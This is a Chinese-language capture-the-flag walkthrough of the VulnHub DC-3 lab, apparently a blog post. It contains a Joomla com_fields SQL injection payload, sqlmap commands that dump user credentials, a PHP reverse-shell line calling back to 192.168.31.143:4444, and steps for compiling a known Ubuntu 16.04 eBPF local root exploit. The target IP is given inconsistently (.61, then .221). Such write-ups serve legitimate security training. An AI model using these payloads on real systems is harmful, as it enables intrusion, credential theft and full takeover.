DC-3打靶思路详解(vulnhub)

DC-3打靶思路详解(vulnhub)

第一步:信息收集

nmap -sn 192.168.31.0/24 

在这里插入图片描述

确定靶机IP为192.168.31.61

再次使用nmap对靶机IP进行详细扫描

nmap -p- -sV -sT -A -O 192.168.31.221

结果如下

在这里插入图片描述

第二步:WEB渗透

直接访问 http://192.168.31.221/

在这里插入图片描述

可以看出是 joomla 这个系统

直接搜索 joomla 漏洞

在这里插入图片描述

可以发现有 sql 注入漏洞

playload:
http://192.168.31.221/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)

在这里插入图片描述

发现存在 sql注入漏洞

直接上 sqlmap

sqlmap -u "http://192.168.31.221/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)" -p "list[fullordering]"

获取数据库:
sqlmap -u "http://192.168.31.221/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)" -p "list[fullordering]" -dbs

获取表:
sqlmap -u "http://192.168.31.221/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)" -p "list[fullordering]" -D "joomladb"  -tables
获取列:
sqlmap -u "http://192.168.31.221/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)" -p "list[fullordering]" -D "joomladb"  -T "#__users" --columns 

获取数据:
sqlmap -u "http://192.168.31.221/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)" -p "list[fullordering]" -D "joomladb"  -T "#__users" -C username,password  --dump

结果:在这里插入图片描述

然后使用 john 进行爆破

john password.txt

在这里插入图片描述

获得密码,登入

然后修改模板文件,来反弹shell

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.31.143/4444 0>&1' ");?>

在这里插入图片描述

监听端口,然后访问 http://192.168.31.221/index.php

在这里插入图片描述

成功!!!

第三步:后渗透

然后就尝试提权

查看系统版本

lsb_release -a

在这里插入图片描述

根据系统版本去寻找漏洞

searchsploit Ubuntu 16.04

挨个尝试最后锁定了

在这里插入图片描述

查看

searchsploit -x linux/local/39772.txt

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

在这里插入图片描述

根据提示下载到本机,开启http服务,靶机下载

在这里插入图片描述

然后就解压,执行

tar xvf exploit.tar

cd ebpf_mapfd_doubleput_exploit

chmod +x compile.sh

./compile.sh   #执行脚本,编译文件

chmod +x doubleput

./doubleput  #执行提权文件

在这里插入图片描述

成功!!!

然后就是获取flag了

在这里插入图片描述

至此完结,撒花。

  • 14
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值